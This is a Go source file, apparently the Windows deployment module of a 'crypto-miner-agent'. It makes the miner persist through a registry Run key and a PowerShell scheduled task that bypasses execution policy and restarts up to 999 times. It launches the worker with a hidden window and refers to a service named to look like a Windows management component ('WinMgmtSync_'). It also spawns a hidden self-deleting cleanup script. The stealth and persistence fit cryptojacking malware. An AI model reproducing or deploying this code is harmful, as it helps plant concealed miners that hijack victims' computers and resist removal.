//go:build windows package deploy import ( "fmt" "os" "os/exec" "path/filepath" "strings" "syscall" "crypto-miner-agent/config" "golang.org/x/sys/windows/registry" ) func CurrentExecutable() (string, error) { path, err := os.Executable() if err != nil { return filepath.Abs(os.Args[0]) } return filepath.Abs(path) } func configureAutoStart(cfg config.RuntimeConfig, binPath string) error { k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) if err != nil { return err } defer k.Close() return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag)) } func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { switch cfg.RunAs { case "scheduled", "service": return createScheduledTask(cfg, installedBin) default: return nil } } func createScheduledTask(cfg config.RuntimeConfig, binPath string) error { taskName := PersistenceKeyName(cfg) if taskName == "" { taskName = "CryptoMinerAgent" } script := fmt.Sprintf( `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, strings.ReplaceAll(binPath, `'`, `''`), runFlag, strings.ReplaceAll(taskName, `'`, `''`), ) cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) return cmd.Run() } func applyDetachedStart(cmd *exec.Cmd) { if cmd == nil { return } cmd.SysProcAttr = &syscall.SysProcAttr{ HideWindow: true, CreationFlags: 0x08000000, } } func HostOSVersion() string { out, err := exec.Command("cmd", "/C", "ver").CombinedOutput() if err != nil { return "windows" } return strings.TrimSpace(string(out)) } func killWorkerProcess(cfg config.RuntimeConfig) { _ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run() } func removePersistence(cfg config.RuntimeConfig) { keyName := PersistenceKeyName(cfg) runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) if err == nil { _ = runKey.DeleteValue(keyName) runKey.Close() } _ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run() svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) _ = exec.Command("sc.exe", "stop", svcName).Run() _ = exec.Command("sc.exe", "delete", svcName).Run() } func selfUninstallSpawn(installDir string) { ps := fmt.Sprintf(` $dir = '%s' Start-Sleep -Seconds 2 Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue `, strings.ReplaceAll(installDir, "'", "''")) cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps) _ = cmd.Start() }